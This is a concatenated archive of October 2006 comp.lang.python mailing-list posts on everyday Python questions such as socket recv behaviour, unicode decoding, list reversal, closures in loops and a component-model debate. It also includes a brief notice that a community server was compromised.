>>> " 1".split()
['', '1']



From irmen.NOSPAM at xs4all.nl  Mon Oct 23 19:30:17 2006
From: irmen.NOSPAM at xs4all.nl (Irmen de Jong)
Date: Tue, 24 Oct 2006 01:30:17 +0200
Subject: Socket module bug on OpenVMS
In-Reply-To: <453D472E.2080606@v.loewis.de>
References: <453ba3a8$0$322$e4fe514c@news.xs4all.nl>
	<453D472E.2080606@v.loewis.de>
Message-ID: <453d508b$0$334$e4fe514c@news.xs4all.nl>

Martin v. L?wis wrote:
> Irmen de Jong schrieb:
>> In my opinion Python's socket module itself could implement these
>> workarounds. That would make user code a lot cleaner and less
>> error prone, and more portable. What do other people think?
> 
> It depends: when VMS defines MSG_WAITALL, but doesn't implement it
> correctly, then Python probably shouldn't expose it.

That would be one way of solving at least my troubles, because I
already check for the availability of MSG_WAITALL and revert to
a custom recv() loop otherwise.
As others have already reported, at this time Python (well, the build
process) merely checks for the availability of the MSG_WAITALL symbol
in the socket.h C-header file....

> Implementing recv() "splitting" is *not* something that Python
> could do itself. The question is how you do error reporting
> for partial results
[..snip..]

Mm, tricky. Hadn't thought of that.

Although I'm not yet convinced about the all-or-nothing failure
model you were talking about. How can I know if recv() fails
with a MemoryError (or socket error) that it actually didn't
receive anything? Is that even an assumption I can rely on?
If it isn't, splitting up the recv() internally (into smaller
blocks) wouldn't be any different, right?

> Perhaps you had some different work-around in mind?

Nope, I was indeed thinking about splitting up the recv() into
smaller blocks internally.
Maybe a more elaborate check in Python's build system (to remove
the MSG_WAITALL on VMS) would qualify as some sort of work-around
as well. Although that would not yet solve the errors you get when
using too big recv() buffer sizes.


Cheers,
--Irmen.


From inq1ltd at verizon.net  Mon Oct 30 00:56:25 2006
From: inq1ltd at verizon.net (jim-on-linux)
Date: Mon, 30 Oct 2006 00:56:25 -0500
Subject: How to Split Chinese Character with backslash representation?
In-Reply-To: <200610271721.32234.inq1ltd@verizon.net>
References: <3ACF03E372996C4EACD542EA8A05E66A0615DC@mailbe01.teak.local.net>
	<200610271721.32234.inq1ltd@verizon.net>
Message-ID: <200610300056.25975.inq1ltd@verizon.net>

On Friday 27 October 2006 17:21, jim-on-linux 
wrote:
> On Thursday 26 October 2006 23:43, you wrote:
> > Hi all,
> >
> > I was trying to split a string that
> >
> > represent chinese characters below:
> > >>> str = '\xc5\xeb\xc7\xd5\xbc'
> > >>> print str2,
> >
> > ???
> >
> > >>> fields2 = split(r'\\',str)
> > >>> print fields2,
> >
> > ['\xc5\xeb\xc7\xd5\xbc']
> >
> > But why the split function here doesn't seem
> > to do the job for obtaining the desired
> > result:
>
 The character '\' is an escape character. It
 won't show just like '\n' won't shoe at the end 
of a line.

 To show it must be preceeded by another '\'
 like this '\\'

Try this:

x ='\xc5\xeb\xc7\xd5\xbc'

y = []
z = []
for n in x :
    y.append( '\\'+n+'\\')
print y, '## y line 5\n'
    

for bs in y:
  bs = str.strip(bs, '\\')
  z.append(bs)
print z, '## z line 10\n'
 
The results will be 
['\xc5','\xeb','\xc7','\xd5','\xbc']


 jim-on-linux
 http://www.inqvista.com
>
> > ['\xc5','\xeb','\xc7','\xd5','\xbc']
> >
> >
> >
> > Regards,
> > -- Edward WIJAYA
> > SINGAPORE
> >
> >
> >
> > ------------ Institute For Infocomm Research
> > - Disclaimer ------------- This email is
> > confidential and may be privileged.  If you
> > are not the intended recipient, please delete
> > it and notify us immediately. Please do not
> > copy or use it for any purpose, or disclose
> > its contents to any other person. Thank you.
> > ---------------------------------------------
> >-- ---------


From tbryan at python.net  Sat Oct 14 23:10:42 2006
From: tbryan at python.net (T. Bryan)
Date: Sun, 15 Oct 2006 03:10:42 GMT
Subject: OT: What's up with the starship?
References: <mailman.419.1160722798.11739.python-list@python.org>
Message-ID: <SEhYg.7681$gL.2383@southeast.rr.com>

Thomas Heller wrote:

> I cannot connect to starship.python.net: neither http, nor can I login
> interactively with ssl (and the host key seems to have changed as well).
> 
> Does anyone know more?

starship.python.net was compromised.  It looked like a rootkit may have been
installed.  The volunteer admins are in the process of reinstalling the OS
and rebuilding the system.  That process will probably take a few days at
least.  

---Tom




From pje at telecommunity.com  Fri Oct  6 11:44:03 2006
From: pje at telecommunity.com (Phillip J. Eby)
Date: 6 Oct 2006 08:44:03 -0700
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<7xk63h232z.fsf@ruckus.brouhaha.com>
	<mailman.1163.1159879479.10491.python-list@python.org>
	<fxJUg.134222$zy5.1829414@twister1.libero.it>
Message-ID: <1160149442.745010.57670@h48g2000cwc.googlegroups.com>

Giovanni Bajo wrote:
> I am seriously concerned
> that the PSF infrastructure committee EVER considered non open-source
> applications for this. In fact, I thought that was an implicit requirement in
> the selection.

The goal of the selection process is to support the work of the Python
developers who have to actually *use* the bug tracking system, and
support its upkeep.  In accordance with the Zen of Python, Practicality
beats purity.

P.S. The Sourceforge tracker being used now and for the past several
years isn't open source, either, so it's hardly an emergency to have an
open source tracker *now*.



From jmcantrell at gmail.com  Sun Oct 29 19:54:32 2006
From: jmcantrell at gmail.com (jmcantrell at gmail.com)
Date: 29 Oct 2006 16:54:32 -0800
Subject: Reverse function python? How to use?
In-Reply-To: <1162157013.605081.151410@b28g2000cwb.googlegroups.com>
References: <1162149971.025963.144720@e64g2000cwd.googlegroups.com>
	<1162157013.605081.151410@b28g2000cwb.googlegroups.com>
Message-ID: <1162169672.407166.231230@e3g2000cwe.googlegroups.com>

If you wanted to keep the original list intact, you could do...

[code]
foo = [x1,x2,x3,x4,x5]
bar = [math.sqrt(math.fabs(x))+5*math.pow(x,3) for x in foo]
bar_reversed = reversed(bar)
[/code]

On Oct 29, 4:23 pm, "Murali" <gmkrishn.u... at gmail.com> wrote:
> Something like this?
>
> [code]
> foo = [x1,x2,x3,x4,x5]
> bar = [math.sqrt(math.fabs(x))+5*math.pow(x,3) for x in foo]
> bar.reverse()
> print bar
> [/code]
>
> frankie_85 wrote:
> > Ok I'm really lost (I'm new to python) how to use the reverse function.
>
> > I made a little program which basically the a, b, c, d, e which I have
> > listed below and basically I want it th result to be printed reverse so
> > instead doing "print e, d, c, b, a", I'd like to use the reverse
> > function
>
> > Can someone give pointersguidelines / on how to do it?
>
> > [code]
> >     a = str(math.sqrt(math.fabs(x1)) + 5*((math.pow(x1,3))))
> >     b = str(math.sqrt(math.fabs(x2)) + 5*((math.pow(x2,3))))
> >     c = str(math.sqrt(math.fabs(x3)) + 5*((math.pow(x3,3))))
> >     d = str(math.sqrt(math.fabs(x4)) + 5*((math.pow(x4,3))))
> >     e = str(math.sqrt(math.fabs(x5)) + 5*((math.pow(x5,3))))
> > [/code]
> 
> >  Thanks in advance



From johnjsal at NOSPAMgmail.com  Wed Oct 25 14:56:12 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Wed, 25 Oct 2006 18:56:12 GMT
Subject: question about True values
Message-ID: <grO%g.152$1n3.4134@news.tufts.edu>

I'm a little confused. Why doesn't s evaluate to True in the first part, 
  but it does in the second? Is the first statement something different?

 >>> s = 'hello'
 >>> s == True
False
 >>> if s:
	print 'hi'

	
hi
 >>>

Thanks.


From msherman77 at yahoo.com  Wed Oct 25 16:53:59 2006
From: msherman77 at yahoo.com (Michael S)
Date: Wed, 25 Oct 2006 16:53:59 -0400 (EDT)
Subject: cleaner way to write this?
In-Reply-To: <USN%g.148$1n3.4086@news.tufts.edu>
Message-ID: <20061025205359.91845.qmail@web88309.mail.re4.yahoo.com>

How about this?
def create_db_name(self):
        dlg = wx.TextEntryDialog(self.frame, 'Enter a
database name:',
                                  'Create New
Database')
        db_name = None #or db_name = ""
	if dlg.ShowModal() == wx.ID_OK:
             db_name = dlg.GetValue()         
	dlg.Destroy()
	return db_name
--- John Salerno <johnjsal at NOSPAMgmail.com> wrote:

> Hi guys. I'm looking for a nicer, more compact way
> of writing this code. 
> It doesn't have to be anything fancy, just something
> without the 
> duplication and preferably only one return
> statement.
> 
>      def create_db_name(self):
>          dlg = wx.TextEntryDialog(self.frame, 'Enter
> a database name:',
>                                   'Create New
> Database')
>          if dlg.ShowModal() == wx.ID_OK:
>              db_name = dlg.GetValue()
>              dlg.Destroy()
>              return db_name
>          else:
>              dlg.Destroy()
>              return
> 
> One problem is that if "Cancel" is pressed, I can't
> return anything. 
> Another problem is that the dialog must be
> destroyed, so that has to 
> come before any return statements.
> 
> Thanks.
> -- 
> http://mail.python.org/mailman/listinfo/python-list
> 



From steve at REMOVE.THIS.cybersource.com.au  Sat Oct  7 07:58:31 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Sat, 07 Oct 2006 21:58:31 +1000
Subject: Names changed to protect the guilty
References: <eg6opn$7oj$1@panix3.panix.com>
	<1160182951.812677.178750@i42g2000cwa.googlegroups.com>
	<1160183076.034356.292780@i3g2000cwc.googlegroups.com>
	<1160184574.708331.78400@i3g2000cwc.googlegroups.com>
Message-ID: <pan.2006.10.07.11.58.31.585485@REMOVE.THIS.cybersource.com.au>

On Fri, 06 Oct 2006 18:29:34 -0700, John Machin wrote:

> 
> MonkeeSage wrote:
>> On Oct 6, 8:02 pm, "MonkeeSage" <MonkeeS... at gmail.com> wrote:
>> > it is clearer to you to make the condition explicit ("blah not False"),
>>
>> "blah not False" -> "blah is False"
> 
> Whichever way your team wants to interpret it, d00d.
> 
> Please consider whether you should be writing "(blah is False) is
> True", that would be more explicit.

Puh-lease! Get it right!

It should be "((blah is False) is True) is True".



-- 
Steve.



From steve at holdenweb.com  Fri Oct 27 07:54:35 2006
From: steve at holdenweb.com (Steve Holden)
Date: Fri, 27 Oct 2006 12:54:35 +0100
Subject: question about True values
In-Reply-To: <slrnek3rko.aqe.apardon@rcpc42.vub.ac.be>
References: <grO%g.152$1n3.4134@news.tufts.edu>	<7x4ptsi544.fsf@ruckus.brouhaha.com>	<1161803802.110116.127470@m7g2000cwm.googlegroups.com>	<7xvem8gq22.fsf@ruckus.brouhaha.com>	<1161804934.010376.151330@f16g2000cwb.googlegroups.com>	<453FD3AF.4040800@v.loewis.de>	<1161812827.596356.316450@f16g2000cwb.googlegroups.com>	<donn-4380C3.15593125102006@gnus01.u.washington.edu>	<1161860305.348329.283780@m73g2000cwd.googlegroups.com>	<mailman.1264.1161861732.11739.python-list@python.org>	<donn-15D0D7.09580726102006@gnus01.u.washington.edu>	<slrnek3kvc.aqe.apardon@rcpc42.vub.ac.be>	<mailman.1341.1161943345.11739.python-list@python.org>	<slrnek3ohb.aqe.apardon@rcpc42.vub.ac.be>	<mailman.1342.1161948402.11739.python-list@python.org>
	<slrnek3rko.aqe.apardon@rcpc42.vub.ac.be>
Message-ID: <ehsrvm$glf$1@sea.gmane.org>

Antoon Pardon wrote:
> On 2006-10-27, Fredrik Lundh <fredrik at pythonware.com> wrote:
> 
>>Antoon Pardon wrote:
>>
>>
>>>>since you never publish any code,
>>>
>>>This is not True. You shouldn't confuse your lack of recollection
>>>with reality.
>>
>>pointers, please.
> 
> 
> Sorry, the answer is no. I don't care whether you can locate my code
> or not or wish to believe me or not.
> 
Google finds 2 hits for "Anton Pardoon open source". You are ceratinly 
keeping it well hidden.

Few people have more right to call you on this than the effbot, well 
known for his prolific output.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From hanumizzle at gmail.com  Tue Oct  3 19:52:23 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Tue, 3 Oct 2006 19:52:23 -0400
Subject: python html rendering
In-Reply-To: <efuso2$kpp$1@sea.gmane.org>
References: <efum0b$2r2$1@sea.gmane.org>
	<d25b6e9a0610031545w33dba90g1abd0ec1fe5a94dd@mail.gmail.com>
	<efuso2$kpp$1@sea.gmane.org>
Message-ID: <463ff4860610031652n637728e6l499e1491128eaf56@mail.gmail.com>

On 10/3/06, Colin J. Williams <cjw at sympatico.ca> wrote:

> Another approach is to use PyScripter (an editor and IDE). One can
> generate documentation and then save the generated html doc.
>
> Also PyDoc can be used directly.

And if you want to go the traditional way, Emacs and Vim can both be
used to produce colored HTML IIRC. Not sure about Vim (something like
2html.vim I believe), but Emacs has htmlize.el.

If someone already said this, pardon me; I just joined via python-list.


From jordanrastrick at gmail.com  Tue Oct 10 03:07:35 2006
From: jordanrastrick at gmail.com (jordanrastrick at gmail.com)
Date: 10 Oct 2006 00:07:35 -0700
Subject: Initialization of variables using no-arg constructor
In-Reply-To: <mailman.143.1160431548.11739.python-list@python.org>
References: <mailman.143.1160431548.11739.python-list@python.org>
Message-ID: <1160464055.080954.170810@m7g2000cwm.googlegroups.com>

Just to expand a little on what others have already said - not only is
the total = list[0] etc.approach more readable, idiomatic, and elegant,
IMO its more semantically correct.

Your constraint that list[0].__class__ has a no-arg constructor is not
strong enough; a more subtle and potentially bug-prone assumption youre
making is that this no-arg constructor returns an identity element
(something that when added doesnt affect your overall "total") with
respect to the addition operator. This happens to be true of summing
numbers (__class__ == 0), and concatenating strings (__class__() ==
""). But I don't think you can take this behaviour for granted from an
arbitrary class.

Edward Waugh wrote:
> Consider the following (working) Python code:
>
> import sys
>
> def sum(list):
>     # total = 0 does not work for non-numeric types
>     total = list[0].__class__()
>     for v in list:
>         total += v
>     return total
>
> l = [1, 2, 3]
> print sum(l)
>
> l = [1.1, 2.2, 3.3]
> print sum(l)
>
> l = ["a", "b", "c"]
> print sum(l)
>
> In order for sum() to be generic I initialize total to the value of
> list[0].__class__().  This works but I would like to know if this is the
> correct or preferred way of doing it.  It means that sum() must be given a
> list whose elements are types or classes that have a no-arg constructor
> (through this is probably almost always the case).
> 
> Thanks,
> Edward



From sjmachin at lexicon.net  Tue Oct 10 17:11:13 2006
From: sjmachin at lexicon.net (John Machin)
Date: 10 Oct 2006 14:11:13 -0700
Subject: what is this UnicodeDecodeError:....?
References: <1160504403.384348.253650@k70g2000cwa.googlegroups.com>
Message-ID: <1160514673.393711.72590@m7g2000cwm.googlegroups.com>

kath wrote:
> I have a number of excel files. In each file DATE is represented by
> different name. I want to read the date from those different file. Also
> the date is in different column in different file.
>
> To identify the date field in different files I have created a file
> called _globals where I keep all aliases for DATE in a array called
> 'alias_DATE'.

It's actually a list. In Python an array is something else; look at the
docs for the array module if you're interested.

>
> Array alias_DATE looks like,
>
> alias_DATE=['TRADEDATE', 'Accounting Date', 'Date de VL','Datum',
> 'Kurs-datum', 'Date', 'Fecha Datos', 'Calculation Date', 'ClosingDate',
> 'Pricing Date', 'NAV Date', 'NAVDate', 'NAVDATE', 'ValuationDate',
> 'Datestamp', 'Fecha de Valoraci?n', 'Kurs-','datum',
> """Kurs-\ndatum""", "Kurs-\ndatum"]

Nothing to do with the question you asked, but the last two entries
have the same value; is that intentional?
| >>> """Kurs-\ndatum""" == "Kurs-\ndatum"
| True


>
> Now I want the index of the column where date is there.  I followed the
> with followin code.
>
>
> >>> b=xlrd.open_workbook('Santander_051206.xls')
> >>> sh=b.sheet_by_index(0)
> >>> sh.cell_value(rowx=0, colx=11)
> u'Fecha de Valoraci\xf3n'
> >>> val=sh.cell_value(rowx=0, colx=11)
> >>> val
> u'Fecha de Valoraci\xf3n'
> >>> print val
> Fecha de Valoraci?n
> >>> import _globals		# the file where I have stored my 'alias_DATE' array
> >>> _globals.alias_DATE.index(val)
> Traceback (most recent call last):
>   File "<interactive input>", line 1, in ?
> UnicodeDecodeError: 'ascii' codec can't decode byte 0xf3 in position
> 17: ordinal not in range(128)
> >>>
>
> Though I have matching value in the array, why I am getting this error.
> Can any one please tell me why is this error, and how to get rid of
> this error. Because I have some files which containing some more
> special characters.
>

Hello again, Sudhir.

The text string returned by xlrd is a unicode object (u'Fecha de
Valoraci\xf3n'). The text strings in your list are str objects, encoded
in some unspecified encoding. Python is trying to convert the str
object 'Fecha de Valoraci?n' to Unicode, using the (default) ascii
codec to do the conversion, and failing.

One way to handle this is to specify any non-ASCII strings in your
lookup list as unicode, like this:

contents of sudhir.py:
| # -*- coding: cp1252 -*-
| alist = ['Datestamp', u'Fecha de Valoraci\xf3n', 'Kurs-','datum']
| blist = ['Datestamp', u'Fecha de Valoraci?n', 'Kurs-','datum']
| assert alist == blist
| val = u'Fecha de Valoraci\xf3n'
| print 'a', alist.index(val)
| print 'b', blist.index(val)

| OS prompt>sudhir.py
| a 1
| b 1

Note: the encoding "cp1252" is appropriate to my environment, not
necessarily to yours.

You may like to have a look through this:
 http://www.amk.ca/python/howto/unicode

HTH,
John



From fredrik at pythonware.com  Tue Oct 31 01:53:02 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 31 Oct 2006 07:53:02 +0100
Subject: Adding a comment to an image using PIL
In-Reply-To: <ei6fo4$f60$1@sea.gmane.org>
References: <ei6fo4$f60$1@sea.gmane.org>
Message-ID: <ei6rsd$dd6$1@sea.gmane.org>

Jeffrey Barish wrote:

> I am trying to use PIL to add a comment to an image.  I have never used PIL
> before, but I discovered that it is possible to print an existing comment
> with the following:
> 
> im = PIL.Image.open('filename.jpg')
> print im.app['COM']
> 
> I figured that I could write a comment by reversing this procedure:
> 
> im.app['COM'] = 'New comment'
> im.save('newfilename.jpg')
> 
> However, when I open newfilename.jpg, I find that key 'COM' does not
> exist -- the comment is not being written.  Presumably, I am doing
> something wrong.

PIL's support for JPEG markers is mostly read-only.  Adding comments
by decoding/encoding isn't a very good idea anyway; to do that right, 
you need to work on the JPEG data stream, not on a decoded image.

it would probably not be too hard to write a JPEG stream editor based
on PIL's JPEG stream parser, but for the time being, I recommend using 
IJG's "wrjpgcom" utility for things like this.

</F>



From fredrik at pythonware.com  Mon Oct 16 14:30:06 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 16 Oct 2006 20:30:06 +0200
Subject: Need a strange sort method...
In-Reply-To: <1161022388.133766.221150@m7g2000cwm.googlegroups.com>
References: <1161022388.133766.221150@m7g2000cwm.googlegroups.com>
Message-ID: <eh0j3f$lme$2@sea.gmane.org>

SpreadTooThin wrote:

> I have a list and I need to do a custom sort on it...

> Its more like
> 1 4 7 10
> 2 5 8
> 3 6 9

that's trivial to do with slicing, of course.  what makes you think you 
need to do this by calling the "sort" method ?

</F>



From fulvio at tm.net.my  Tue Oct 24 12:02:33 2006
From: fulvio at tm.net.my (Fulvio)
Date: Wed, 25 Oct 2006 00:02:33 +0800
Subject: Debugging
In-Reply-To: <453ca32e$0$11823$426a34cc@news.free.fr>
References: <mailman.894.1161423816.11739.python-list@python.org>
	<mailman.968.1161596873.11739.python-list@python.org>
	<453ca32e$0$11823$426a34cc@news.free.fr>
Message-ID: <200610250002.33332.fulvio@tm.net.my>

***********************
Your mail has been scanned by InterScan MSS.
***********************


On Monday 23 October 2006 19:10, Bruno Desthuilliers wrote:
> ignore bpnumber [count]

Sorry, I ignored this command :-)
>
> > timed
>
> saw nothing about this one... but perhaps with

There's tbreak FYI, but what condition will trigger I haven't tried yet.

> condition bpnumber [condition]
>
> ? ? Condition is an expression which must evaluate to true before the
> breakpoint is honored. If condition is absent, any existing condition is
> removed; i.e., the breakpoint is made unconditional.

I did some test, but whatever comes out doesn't disable the breakpoint until 
condition becomes true.
Supposing to have a function on program's variables the statement like " if 
myvar == True: break" doesn't gives power to the BP.
If I do a check on the list of BPs the condition evidently appears, but no 
luck :-O
Also clear statement does clear only all BPs, it won't let me clear the 
choosen BP number.

OK. I still on the learning curve, so things come slowly.

F




From veracon at gmail.com  Sat Oct 14 12:41:11 2006
From: veracon at gmail.com (veracon)
Date: 14 Oct 2006 09:41:11 -0700
Subject: Making a shorter shebang
In-Reply-To: <pan.2006.10.14.16.36.36.716313@gmx.net>
References: <1160840251.769368.327090@m7g2000cwm.googlegroups.com>
	<1160840595.827897.150260@f16g2000cwb.googlegroups.com>
	<1160841240.145863.58940@m7g2000cwm.googlegroups.com>
	<1160841802.218222.60510@h48g2000cwc.googlegroups.com>
	<pan.2006.10.14.16.36.36.716313@gmx.net>
Message-ID: <1160844071.507942.220110@m7g2000cwm.googlegroups.com>

Thanks, at least now I know I wasn't doing something wrong.

Marc 'BlackJack' Rintsch wrote:
> In <1160841802.218222.60510 at h48g2000cwc.googlegroups.com>, veracon wrote:
>
> > Actually, it appears to still be using the default binary
> > (/usr/bin/python). Can I be sure it's actually reading the .profile
> > file? I'm executing through regular CGI in Apache.
>
> The `~/.profile` is executed when *you* log into your account.  CGI
> scripts are executed by the web server which usually has its own user and
> group,  `wwwrun` or something like that, and does not read the `.profile`
> in your home directory.
> 
> Ciao,
> 	Marc 'BlackJack' Rintsch



From edreamleo at charter.net  Wed Oct 11 14:28:19 2006
From: edreamleo at charter.net (Edward K. Ream)
Date: Wed, 11 Oct 2006 13:28:19 -0500
Subject: Tkinter: populating Mac Help menu?
References: <6nMWg.64$ra5.26@newsfe05.lga>
Message-ID: <aJaXg.240$g64.2@newsfe04.lga>

Thanks for these replies.  I'll try these ideas soon and report back on my 
experiences.

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edreamleo at charter.net
Leo: http://webpages.charter.net/edreamleo/front.html
-------------------------------------------------------------------- 




From eldiener_no_spam_here at earthlink.net  Tue Oct 10 17:50:43 2006
From: eldiener_no_spam_here at earthlink.net (Edward Diener No Spam)
Date: Tue, 10 Oct 2006 21:50:43 GMT
Subject: Python component model
In-Reply-To: <1160505628.841415.71210@i42g2000cwa.googlegroups.com>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net>
	<UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net>
	<1160467516.602655.169920@c28g2000cwb.googlegroups.com>
	<OZMWg.12229$UG4.10400@newsread2.news.pas.earthlink.net>
	<mailman.209.1160486725.11739.python-list@python.org>
	<zVPWg.9708$o71.4217@newsread3.news.pas.earthlink.net>
	<1160502439.729432.13480@h48g2000cwc.googlegroups.com>
	<1160505628.841415.71210@i42g2000cwa.googlegroups.com>
Message-ID: <TAUWg.7641$Y24.2665@newsread4.news.pas.earthlink.net>

Kay Schluehr wrote:
> fumanchu wrote:
> 
>>> 4) Custom property and component editors: A component editor can present
>>> a property editor or an editor for an entire component which the visual
>>> design-time RAD environment can use to allow the programmer end-user of
>>> the component to set or get component property values. Normally a design
>>> time environment will present default property editors for each
>>> component property type, but a component can override this.
>> This is the hard part. I believe Dabo has done some work in this space,
>> but this is where the tight coupling comes in between code and tool, a
>> coupling which Python has traditionally resisted.
> 
> I do think it's just about presenting component properties and their
> types / value ranges. I do think this can be easily achieved using
> decorators that might also add the right kind of token for
> introspection purposes to the function/method attributes. Descriptors
> i.e. customized binding semantics might cover one aspect of
> componentization but as I understood Edward he asked for uniform
> declarative semantics. 

Uniform in the sense that a visual RAD tool introspecting a Python class 
would be able to say that s type X is a component property and type Y is 
a component event, and everything is is just normal Python code which 
the RAD tool can ignore.

> Components in this sense are just specialized
> objects such as TestCase classes in the PyUnit framework.

Totally agreed. But the common functionality they add is valuable to 
visual RAD tools.

> What I still
> do not understand is the reference to "many RAD" tools which is
> completely hypothetical to me.

You are right that I should not have mentioned this without experience 
with the many Python tools, notable Python web page development 
environments, which are out there.

> The portability of components across
> different GUI designers for the same underlying toolkit is a quite
> speculative future requirement to say the least.

It's been a success in the Java world with JavaBeans and EJBs within 
environments like Eclipse, NetBeans, JBuilder, and others; and its been 
a success in the .Net world with .Net components within Visual Studio, 
Borland Development Studio, and potentially others, so ideally it could 
be a success in the Python world.

I believe the only knock against Python, as opposed to Java or .Net, is 
that it does not present enough ease of use environments to creating 
large scale applications, whether Linux, Windows, or Web applications. I 
believe part of that reason is because Python developers who, whether 
they wanted to distribute their classes for free or want to sell them 
for a profit, are presented with endless technologies built with Python, 
each one demanding a slightly different approach to class reusability, 
are reticent to develop their ideas for many different environments.

Wanting a common PME component model is a way of saying that Python 
class developers can develop their classes as components and at least at 
the base level can expect them to work flawlessly in any Python 
environment. I am NOT against a particular environment building further 
requirements on top of a common Python component model, and in fact 
would expect it in many cases. But given inheritance in OOP, and in 
Python of course, this might be as easy for me as deriving a new class 
from my particular base class component for a particular visual RAD 
development environment, adding the extra function needed onto my 
derived class, and away we go.


From trevor_morgan at yahoo.com  Sat Oct 28 17:49:01 2006
From: trevor_morgan at yahoo.com (trevor_morgan at yahoo.com)
Date: 28 Oct 2006 14:49:01 -0700
Subject: Name bindings for inner functions.
Message-ID: <1162072141.571008.296670@h48g2000cwc.googlegroups.com>

The following code:

def functions():
    l=list()
    for i in range(5):
        def inner():
            return i
        l.append(inner)
    return l


print [f() for f in functions()]


returns [4,4,4,4,4], rather than the hoped for [0,1,2,3,4].  I presume
this is something to do with the variable i getting re-bound every time
we go through the loop, or something, but I'm not sure how to fix this.
 I've found the ability in python to create functions on the fly and
store and index them for later use incredibly powerful, so it'd be nice
to get past this little roadblock.



From pretoriano_2001 at hotmail.com  Tue Oct 10 01:44:31 2006
From: pretoriano_2001 at hotmail.com (pretoriano_2001 at hotmail.com)
Date: 9 Oct 2006 22:44:31 -0700
Subject: Encode differences between idle python and python
Message-ID: <1160459071.233638.167150@k70g2000cwa.googlegroups.com>

Hello:
Under win32 XP y select python command line and execute next code with
results indicated:

Python 2.5 (r25:51908, Sep 19 2006, 09:52:17) [MSC v.1310 32 bit
(Intel)] on
Type "help", "copyright", "credits" or "license" for more information.
>>> u=u'?????'
>>> u
u'\xe1\xe9\xed\xf3\xfa'
>>> print u
?????
>>> a=u.encode('latin-1')
>>> a
'\xe1\xe9\xed\xf3\xfa'
>>> print a
?????
>>> type(a)
<type 'str'>
>>> type(u)
<type 'unicode'>
>>>

using python IDLE I repeat the code, but get next differen result:
IDLE 1.2
>>> u=u'?????'
>>> u
u'\xe1\xe9\xed\xf3\xfa'
>>> print u
?????
>>> a=u.encode('latin-1')
>>> a
'\xe1\xe9\xed\xf3\xfa'
>>> print a
?????
>>> type(a)
<type 'str'>
>>> type(u)
<type 'unicode'>
>>>

What do you think is happending and how can I solve this ? The IDLE
looks fine but command line has problems.



From fredrik at pythonware.com  Wed Oct  4 15:11:08 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 04 Oct 2006 21:11:08 +0200
Subject: How to ask sax for the file encoding
In-Reply-To: <LnRUg.5$5H6.3@newsfe05.lga>
References: <dROUg.62$iP5.51@newsfe07.lga>	<mailman.1265.1159970009.10491.python-list@python.org>	<WQPUg.8$Cr3.6@newsfe03.lga>
	<4oi0f3FehgnuU1@uni-berlin.de>	<k3QUg.11$Cr3.3@newsfe03.lga>
	<4oi4meFep2seU1@uni-berlin.de> <LnRUg.5$5H6.3@newsfe05.lga>
Message-ID: <eg110c$adg$2@sea.gmane.org>

Edward K. Ream wrote:

> What suits me best is what the *user* specified, and that got put in the 
> first xml line.

are you expecting your users to write XML by hand?  ouch.

</F>



From bignose+hates-spam at benfinney.id.au  Thu Oct 26 04:27:34 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Thu, 26 Oct 2006 18:27:34 +1000
Subject: Problem Commenting within Filehandle Iteration
References: <3ACF03E372996C4EACD542EA8A05E66A0615D4@mailbe01.teak.local.net>
Message-ID: <87vem7iirt.fsf@benfinney.id.au>

Wijaya Edward <ewijaya at i2r.a-star.edu.sg> writes:

>     if m:
>         print line,
>     else:
>         #print 'SPAM -- %s' % line

Simple answer:

    if m:
        print line,
    # else:
    #     print 'SPAM'


My preferred answer:

    if m:
        print line,

and get the lines back again later from your version control system.

-- 
 \     "I am an optimist. It does not seem too much use being anything |
  `\                                      else."  -- Winston Churchill |
_o__)                                                                  |
Ben Finney



From 06virg at gmail.com  Fri Oct  6 04:41:48 2006
From: 06virg at gmail.com (virg)
Date: 6 Oct 2006 01:41:48 -0700
Subject: help on pickle tool
In-Reply-To: <mailman.1404.1160111129.10491.python-list@python.org>
References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com>
	<mailman.1404.1160111129.10491.python-list@python.org>
Message-ID: <1160124108.779860.236940@i3g2000cwc.googlegroups.com>

Hi,
 The data is simple dictionary with one or more keys. If i use YAML at
the client (webui) do i have to change serialisation method to YAML at
server also. Without changing serialisation method at server, can i use
any of the deserialisation methods at the client. We cannot change the
serialisation methods at the server since it is not under our control.

Thanks & reagards
virg


hanumizzle wrote:

> On 5 Oct 2006 21:52:56 -0700, virg <06virg at gmail.com> wrote:
> > Hi,
> >      i have client-server application which is written in python using
> > XMLRPC protocol. The existing client is a command line. Now client
> > application we are converting it as Web UI using java. I have seen some
> > problems in writing a java client. At the server for each request from
> > client, the server sends a response in hashtable and is serialized
> > using "pickle". The python function we call at the server is...
>
> What kind of data are we talking about? Is it strictly dictionary /
> list stuff or is it more complex (functions & other objects)? I can
> see 2 possible options: Jython or YAML. (I have been answering a lot
> of questions re: serialization today and mentioned YAML in all of them
> :))



From grflanagan at yahoo.co.uk  Mon Oct 16 16:32:52 2006
From: grflanagan at yahoo.co.uk (Gerard Flanagan)
Date: 16 Oct 2006 13:32:52 -0700
Subject: Need a strange sort method...
In-Reply-To: <1161028816.398810.301050@e3g2000cwe.googlegroups.com>
References: <1161022388.133766.221150@m7g2000cwm.googlegroups.com>
	<1161023839.841044.283730@e3g2000cwe.googlegroups.com>
	<1161028816.398810.301050@e3g2000cwe.googlegroups.com>
Message-ID: <1161030772.446899.234780@b28g2000cwb.googlegroups.com>


Gerard Flanagan wrote:
> Gerard Flanagan wrote:
> > SpreadTooThin wrote:
> > > I have a list and I need to do a custom sort on it...
> > >
> > > for example:
> > > a = [1,2,3,4,5,6,7,8,9,10] #Although not necessarily in order
> >
> > > 1 4 7 10
> > > 2 5 8
> > > 3 6 9
> > >
> >
> > from math import sqrt
> >
